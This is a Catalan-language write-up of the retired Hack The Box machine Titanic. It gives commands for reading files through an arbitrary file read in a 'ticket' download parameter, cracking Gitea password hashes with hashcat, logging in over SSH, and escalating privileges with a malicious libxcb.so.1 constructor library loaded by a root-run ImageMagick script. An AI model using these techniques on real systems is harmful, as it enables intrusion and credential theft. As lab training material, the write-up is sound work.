



HACK THE BOX · RETIRED · LINUX

Titanic

Writeup tècnic complet ·
reconstrucció ordenada

Màquina Titanic resolta

HTB Titanic · 2026-04-18

Autor	Ramon Santos Sabarich / r4ms4nt
Tipus	Informe tècnic RETRO arxivable
Objectiu	Documentar cadena tècnica, user, root i traçabilitat reutilitzable
Data de resolució	2026-04-18



Informe tècnic normalitzat per a arxivament,
consulta i traçabilitat.

GUIA DE LECTURA

Índex

Informe tècnic consolidat a partir de la cadena d'explotació validada, preservant comandos, troballes clau i lliçons reutilitzables en un format net per llegir, arxivar i consultar.

Nota de precisió i context documental

1. Abast del cas RETRO i material utilitzat
2. Enumeració inicial i superfície confirmada
3. Reconeixement web i flux de reserva
4. Troballa dominant: lectura arbitrària de fitxers mitjançant `ticket`
5. Enumeració local a través del file read
6. Troballa de Gitea i extracció de configuració
7. Descàrrega de `gitea.db` i recuperació de hashes
8. Craqueig offline i accés SSH com a `developer`
9. Enumeració local i troballa de l'script privilegiat
10. Escalada mitjançant execució privilegiada d'`ImageMagick`
11. Registre de flags observades i conflictes documentals
12. Resum tècnic final
13. Aportació al roadmap, checklist i sub-roadmaps
14. Material barrejat, branques descartades i pendents de verificar

HTB Titanic - Informe tècnic

Reconstrucció tècnica i cadena d'atac validada

Aquest document final presenta la cadena tècnica validada observada a Titanic, des del reconeixement web inicial fins a l'impacte privilegiat local, amb fets verificats, interpretació sostinguda i lliçons reutilitzables.

Nota de precisió

Aquest cas RETRO conté diverses **capes de contaminació documental** i convé fixar-les des del principi:

- La **cadena principal validada** apunta a una intrusió web amb **lectura arbitrària de fitxers** a través del paràmetre `ticket`, seguida d'extracció de configuració i base de dades de **Gitea**, craqueig offline de hashes, accés SSH com a **developer** i escalada local mitjançant l'execució privilegiada d'**ImageMagick** des d'un directori controlable.
- Existeix una **branca exploratòria secundària** relacionada amb `dev.titanic.htb`, càrregues `.md` amb JavaScript i extracció de `.htpasswd`. El material prova que aquesta línia es va treballar, però **no prova que fos necessària** per obtenir la shell final.
- També existeix una **branca d'experimentació amb port knocking**. L'evidència final no la sosté com a part de l'explotació real; es conserva com a camí descartat.
- El fitxer "**Titanic resolució en castellano.docx**" **no pertany a Titanic**: descriu una màquina diferent (`alert.htb`, `messages.php`, `statistics.alert.htb`, usuari `albert`, etc.). Es tracta com a material barrejat i queda fora de la reconstrucció canònica.
- Les **flags** no són consistents entre tots els artefactes retro. Per tant, es documenten amb la seva procedència i estat de verificació, en lloc de forçar una única versió com si no existís cap conflicte.

1. Abast del cas RETRO i material utilitzat

Naturalesa del cas

No es parteix d'una màquina verge. Es parteix d'un conjunt heterogeni d'artefactes d'una resolució antiga ja completada, amb la finalitat de:

- reconstruir la cadena tècnica real
- distingir el nucli d'explotació dels camins exploratoris
- adaptar el cas a l'estil documental actual de PENTEST-STUDIO
- extreure aprenentatge reutilitzable

Material considerat útil per a la cadena principal

- escanejos que confirmen 22/tcp i 80/tcp com a serveis oberts i 3306/tcp com a tancat
- captures del lloc principal, del formulari de reserva, de Burp Suite, de Gitea, de l'accés SSH i de la fase d'escalada
- `app.ini`, `gitea.db`, `gitea.sql`, fitxers de hashes derivats i scripts auxiliars
- els dos MD antics de Titanic, tractats com a narrativa retro i no com a veritat automàtica

Material tractat com a contaminat o secundari

- el DOCX titulat com a Titanic però centrat en `alert.htb`
- scripts de `port knocking` i els seus nmap derivats
- càrregues XSS per extreure `.htpasswd` a `dev.titanic.htb`, ja que no queden integrades de manera concloent en l'obtenció final d'accés

2. Enumeració inicial i superfície confirmada

Perfil de ports i serveis sostingut per evidència

L'evidència consistent del cas deixa aquesta superfície vàlida:

- 22/tcp obert → OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
- 80/tcp obert → Apache httpd 2.4.52
- capçaleres i fingerprinting addicionals → Werkzeug 3.0.3 i Python 3.10.12
- 3306/tcp tancat

Lectura operativa de la fase

La màquina es presenta com un cas clarament orientat a **web + pivot de credencials + post-exploitació local**. No hi ha evidència sòlida d'una via inicial per SSH ni d'exposició útil de MySQL cap a l'exterior.

Resolució local utilitzada

Es va afegir la resolució de `titanic.htb` a `/etc/hosts` i la major part del flux es va treballar contra aquest virtual host.

Tecnologies visibles observades

A les captures de reconeixement apareixen, com a mínim:

- Flask 3.0.3
- Python 3.10.12
- Bootstrap 4.5.2
- jQuery 3.5.1

Aquestes tecnologies serveixen com a **context**, però l'explotació real no depèn d'un exploit públic específic contra aquest stack.

3. Reconeixement web i flux de reserva

Lloc principal observat

L'aplicació principal mostra una interfície de reserves amb un formulari per enviar:

- nom
- correu
- telèfon
- data de viatge
- tipus de cabina

Comportament important del formulari

L'evidència de Burp Suite deixa un pivot molt clar:

1. s'envia un POST /book 2. l'aplicació respon amb 302 FOUND 3. la redirecció lliura un identificador de tiquet de l'estil:

- /download?ticket=<uuid>.json

Aquest detall converteix l'endpoint `download` en l'objecte més important de la fase web.

Nota editorial

En material posterior apareixen JSON de reserva normals i JSON de reserva amb payloads XSS al camp `name`. Això confirma que el flux de tiquets es va inspeccionar en profunditat, encara que no tota aquesta activitat formi part de la cadena final.

4. Troballa dominant: lectura arbitrària de fitxers mitjançant ticket

Què queda realment validat

La cadena principal queda sostinguda pel fet que `download?ticket=` permetia recuperar fitxers locals del sistema mitjançant rutes subministrades per l'atacant.

Evidències fortes de la troballa

S'observen sol·licituds exitoses contra rutes com:

```
curl 'http://titanic.htb/download?ticket=/etc/passwd' -o etc-passwd.txt
curl 'http://titanic.htb/download?ticket=/home/developer/user.txt' -o user.txt
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.'
curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db'
```

Interpretació tècnica

No cal forçar aquí una taxonomia rígida entre LFI, path traversal o arbitrary file read. El que importa per a la reconstrucció del cas és això:

- el paràmetre `ticket` va deixar de comportar-se com un identificador lògic d'objecte
- va passar a comportar-se com una referència de ruta utilitzable per l'atacant
- això va permetre llegir fitxers sensibles del host i pivotar cap a credencials

Lliçó de mètode

El salt crític del cas no va estar en un bypass complex, sinó en **provar l'endpoint derivat de la pròpia lògica de negoci** després d'observar el 302 del formulari.

5. Enumeració local a través del file read

Enumeració útil provada

La lectura arbitrària va permetre recuperar, com a mínim:

- `/etc/passwd`
- el `user.txt` de l'usuari `developer`
- la configuració de Gitea
- la base de dades SQLite de Gitea

Troballa estructural important

Aquesta fase canvia completament la naturalesa del cas:

- deixa de ser una simple enumeració web externa
- passa a ser una **enumeració del sistema víctima des de la pròpia aplicació web**

Nota de precisió

També apareixen proves i payloads contra rutes relatives més llargues, especialment associades a `dev.titanic.htb`. Aquesta línia es conserva com a exploració secundària, però l'evidència més neta de la cadena principal és la lectura directa de rutes absolutes des

de `titanic.htb`.

6. Troballa de Gitea i extracció de configuració

Què es va obtenir

El cas conserva evidència de la descàrrega d'`app.ini`, que revela una instal·lació de **Gitea**.

Dades operatives visibles a la configuració

Del material retro es desprenen almenys aquests elements:

- `APP_NAME = Gitea: Git with a cup of tea`
- `HTTP_PORT = 3000`
- `ROOT_URL = http://gitea.titanic.htb/`
- `SSH_PORT = 22`
- base de dades SQLite a `/data/gitea/gitea.db`
- rutes de treball dins de `/data/gitea` i repositoris a `/data/git/repositories`

Confusió documental associada

Aquí apareix una inconsistència menor però important:

- una captura valida l'existència d'una instància de Gitea navegada a `dev.titanic.htb`
- la pròpia configuració referencia `gitea.titanic.htb`

La reconstrucció més prudent és assumir que el laboratori retro reflecteix **noms de host diferents per a la mateixa peça o per a estats diferents de la mateixa instal·lació**, sense que això alteri la cadena principal: la clau va ser l'obtenció de la configuració i de la base de dades.

Derivació útil de la fase

Un cop obtinguts `app.ini` i `gitea.db`, el següent pas lògic —i efectivament executat— va ser anar a buscar les **credencials locals de Gitea**.

7. Descàrrega de `gitea.db` i recuperació de hashes

Extracció observada

El material conserva la transformació dels hashes hexadecimals de Gitea al format utilitzable per `hashcat`.

```
sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do    digest
```

Usuaris presents a la base de dades

La base SQLite conserva almenys dos comptes locals:

- administrator
- developer

Tipus de valor derivat

Als artefactes intermedis apareixen dos hashes en format equivalent a:

```
10000:<salt>:<digest>  
10000:<salt>:<digest>
```

Aquest detall confirma que el cas va passar de **file read** a **credential access** sense necessitat d'exploitar directament la interfície de Gitea.

8. Craqueig offline i accés SSH com a developer

Craqueig observat

Es va executar:

```
hashcat -m 10900 -a 0 gitea.hashes /usr/share/wordlists/rockyou.txt --username
```

Credencial sostinguda per l'evidència retro

La cadena principal conserva com a credencial reutilitzada:

- usuari: developer
- contrasenya: 25282528

Reutilització efectiva

Aquesta contrasenya es va reutilitzar amb èxit per SSH:

```
ssh developer@10.10.11.55
```

La captura de terminal confirma l'accés interactiu com a developer al host víctima.

Lectura metodològica

Aquest tram fixa un patró molt reutilitzable:

file read web → **extracció de base local** → **craqueig offline** → **reutilització contra SSH**

9. Enumeració local i troballa de l'script privilegiat

Troballa principal al sistema

Ja com a `developer`, l'enumeració local identifica un script rellevant a:

```
/opt/scripts/identify_images.sh
```

Contingut observat de l'script

El material visual mostra un flux equivalent a aquest:

```
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick i
```

Què importa de veritat en aquesta fase

- l'script treballa en un directori escrivible/controlable per l'atacant
- executa `ImageMagick` amb privilegis superiors a l'usuari `developer`
- el directori de treball i la manera d'invocar `magick` obren una via d'abús local

Confirmació de versió

La versió observada va ser:

```
ImageMagick 7.1.1-35 Q16-HDRI
```

Nota de precisió

El material no demostra per si sol tota la mecànica interna del carregador dinàmic. El que sí demostra és que l'explotació efectiva es va recolzar en col·locar una biblioteca maliciosa `libxcb.so.1` al directori processat per l'script perquè l'execució privilegiada de `magick` desencadenés el payload.

Per tant, la formulació més prudent és:

- **fet verificat:** hi va haver un **library hijack local efectiu** associat a la invocació privilegiada d'ImageMagick
- **pendent de verificar amb més profunditat:** el detall exacte de resolució de dependències que va fer possible la càrrega

10. Escalada mitjançant execució privilegiada d' ImageMagick

Payload observat

La captura conserva un payload C compilat com a `libxcb.so.1`:

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt && chmod 754 root.txt");
    exit(0);
}
```

Compilació observada

```
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt && chmod 754 root.txt");
    exit(0);
}
EOF
```

Execució operativa observada

```
cp libxcb.so.1 /opt/app/static/assets/images/
rm -f /opt/app/static/assets/images/metadata.log
/opt/scripts/identify_images.sh
ls -l /opt/app/static/assets/images/root.txt
cat /opt/app/static/assets/images/root.txt
```

Resultat tècnic

L'exploitació no intenta obrir una shell interactiva com a root. Fa una cosa més neta i coherent amb el laboratori:

- provoca l'execució de codi dins del context privilegiat
- copia `root.txt` a una ubicació accessible
- ajusta permisos per poder llegir-lo després com a `developer`

Aquesta elecció encaixa molt bé amb un cas retro orientat a **demostrar control privilegiat amb mínim soroll**.

11. Registre de flags observades i conflictes documentals

Principi aplicat

Com que el material retro conté valors diferents per a les flags, aquí no es força una única versió sense advertiment previ.

user.txt

S'observen almenys dos valors als artefactes:

Valor observat	Procedència al material	Estat
c12367c34bc20ac6459a05b45e42d119	captura de terminal del fitxer local <code>_home_developer_user.txt</code>	verificat per captura, no confirmat pel fitxer pujat
f9b1a13ea170d518e111fbc3f50e148a	fitxer <code>_home_developer_user.txt</code> pujat i MD antics	verificat per fitxer, en conflicte amb la captura

root.txt

S'observen almenys dos valors als artefactes:

Valor observat	Procedència al material	Estat
3e723cac1e9aabdbbb20b6907b90d3aa	captura de terminal mostrant <code>cat root.txt</code> a la carpeta d'imatges	verificat per captura
3b8ab8a0777a6c85a275d34ac14d8f96	MD antic de Titanic	verificat per text retro, en conflicte amb la captura

Lectura editorial recomanada

La discrepància és compatible amb dues explicacions raonables:

1. **rotació de flags** entre moments diferents del laboratori 2. **barreja temporal d'artefactes** procedents de reconstruccions diferents

Per no falsejar el cas, totes dues es conserven com a evidència i es marquen com a conflicte documental pendent de verificació externa.

12. Resum tècnic final

Cadena tècnica principal que millor encaixa amb l'evidència

1. Enumeració inicial del host i validació de `22/tcp` i `80/tcp`. 2. Anàlisi del flux de reserva i detecció de la redirecció a `download?ticket=`. 3. Prova del paràmetre `ticket` com a via de lectura arbitrària de fitxers. 4. Lectura de fitxers sensibles del sistema i de l'entorn de Gitea. 5. Descàrrega d'`app.ini` i `gitea.db`. 6. Extracció de hashes locals de Gitea. 7. Craqueig offline del hash reutilitzable. 8. Accés SSH vàlid com a `developer`. 9. Enumeració local del sistema. 10. Identificació de l'script privilegiat `identify_images.sh`. 11. Col·locació d'una `libxcb.so.1` maliciosa al directori processat per l'script. 12. Execució privilegiada de `magick` i còpia de `root.txt` a una ubicació accessible. 13. Lectura final de la flag de root.

Patró tècnic que ensenya la màquina

La màquina Titanic ensenya molt bé aquest patró:

file read en lògica de negoci → extracció de secrets d'aplicació → craqueig offline → reutilització de credencials → abús d'automatització privilegiada local

No és un cas d'"exploit públic miraculós"; és un cas d'**encadenament disciplinat de petites debilitats**.

13. Aportació al roadmap, checklist i sub-roadmaps

Aportació al roadmap mestre

Aquest cas reforça un eix que mereix quedar molt visible al roadmap general:

- **quan una aplicació permet llegir fitxers locals, el focus ha de canviar immediatament cap a secrets operatius i magatzems de credencials**

A Titanic, això significa anar a buscar:

- configuracions d'aplicació
- bases de dades locals
- claus, tokens i fitxers de sessió
- credencials reutilitzables fora del servei web

Aportació al checklist de fase 1

Titanic suggereix afegir o reforçar aquests punts:

- revisar amb cura qualsevol 302 o flux de descàrrega generat per la pròpia aplicació
- tractar paràmetres tipus `ticket`, `file`, `path`, `download`, `export`, `attachment` o equivalents com a candidats prioritaris a lectura arbitrària
- si s'aconsegueix llegir un fitxer, prioritzar de seguida `app.ini`, `.env`, SQLite, credencials cachejades i fitxers d'usuari
- després d'obtenir shell d'usuari, buscar automatitzacions privilegiades que processin fitxers des de rutes controlables

Aportació al sub-roadmap web-base

Aquest cas encaixa en web-base per:

- fingerprinting inicial del servei
- anàlisi del flux de formulari
- revisió de 302 i objectes descarregables
- manipulació del paràmetre `ticket`
- enumeració de virtual hosts com a suport, sense confondre-la amb el camí dominant

Aportació al sub-roadmap web-auth / panel

Titanic aporta bastant a aquesta branca per:

- descobriment i ús de Gitea com a font de credencials
- extracció i tractament de SQLite local
- conversió de formats de hash del panell a formats craquejables offline
- reutilització de credencials del panell per a accés SSH al sistema

Aportació metodològica general

La gran lliçó del cas no és "Gitea", sinó aquesta:

- un panell o servei auxiliar trobat després d'un file read sol ser més valuós com a magatzem de credencials que com a superfície d'atac directa

14. Material barrejat, branques descartades i pendents de verificar

14.1 Branca XSS / .htpasswd a dev.titanic.htb

Es van conservar payloads i scripts que intenten:

- pujar un `.php.md` o `.md` amb JavaScript
- forçar lectura de `.htpasswd` des de `dev.titanic.htb`
- exfiltrar-ne el contingut a un listener HTTP de l'atacant

Això prova exploració tècnica real, però **no prova que aquesta branca fos necessària** per arribar a `developer`.

Estat: camí secundari documentat, no integrat a la cadena canònica.

14.2 Branca de port knocking

Hi ha una gran quantitat de scripts i escanejos dedicats a hipòtesis de `port knocking`. Tanmateix:

- els escanejos que millor sostenen el cas ja mostren `22/tcp` i `80/tcp` oberts
- els nmap "after knock" deixen en molts casos aquests ports com a `filtered`
- no hi ha encaix narratiu net entre aquesta experimentació i l'exploació final

Estat: camí descartat per manca de suport en la cadena principal.

14.3 DOCX contaminat

El DOCX antic atribuït a Titanic descriu realment una màquina diferent, amb referències a:

- `alert.htb`
- `messages.php`
- `statistics.alert.htb`
- usuari `albert`
- `website-monitor`
- reverse shell per PHP

Estat: material aliè al cas; es conserva només com a evidència de barreja documental.

14.4 Pendants de verificar

Queden marcats com a pendants raonables:

- aclarir si `dev.titanic.htb` i `gitea.titanic.htb` van ser dos noms funcionals del mateix servei o si hi va haver canvi de configuració entre moments diferents
- determinar amb precisió quin valor de `user.txt` i `root.txt` correspon al tram exacte de la resolució retro que es vol arxivar com a definitiu
- documentar amb més profunditat la mecànica exacta del hijack de `libxcb.so.1` durant l'execució privilegiada de `magick`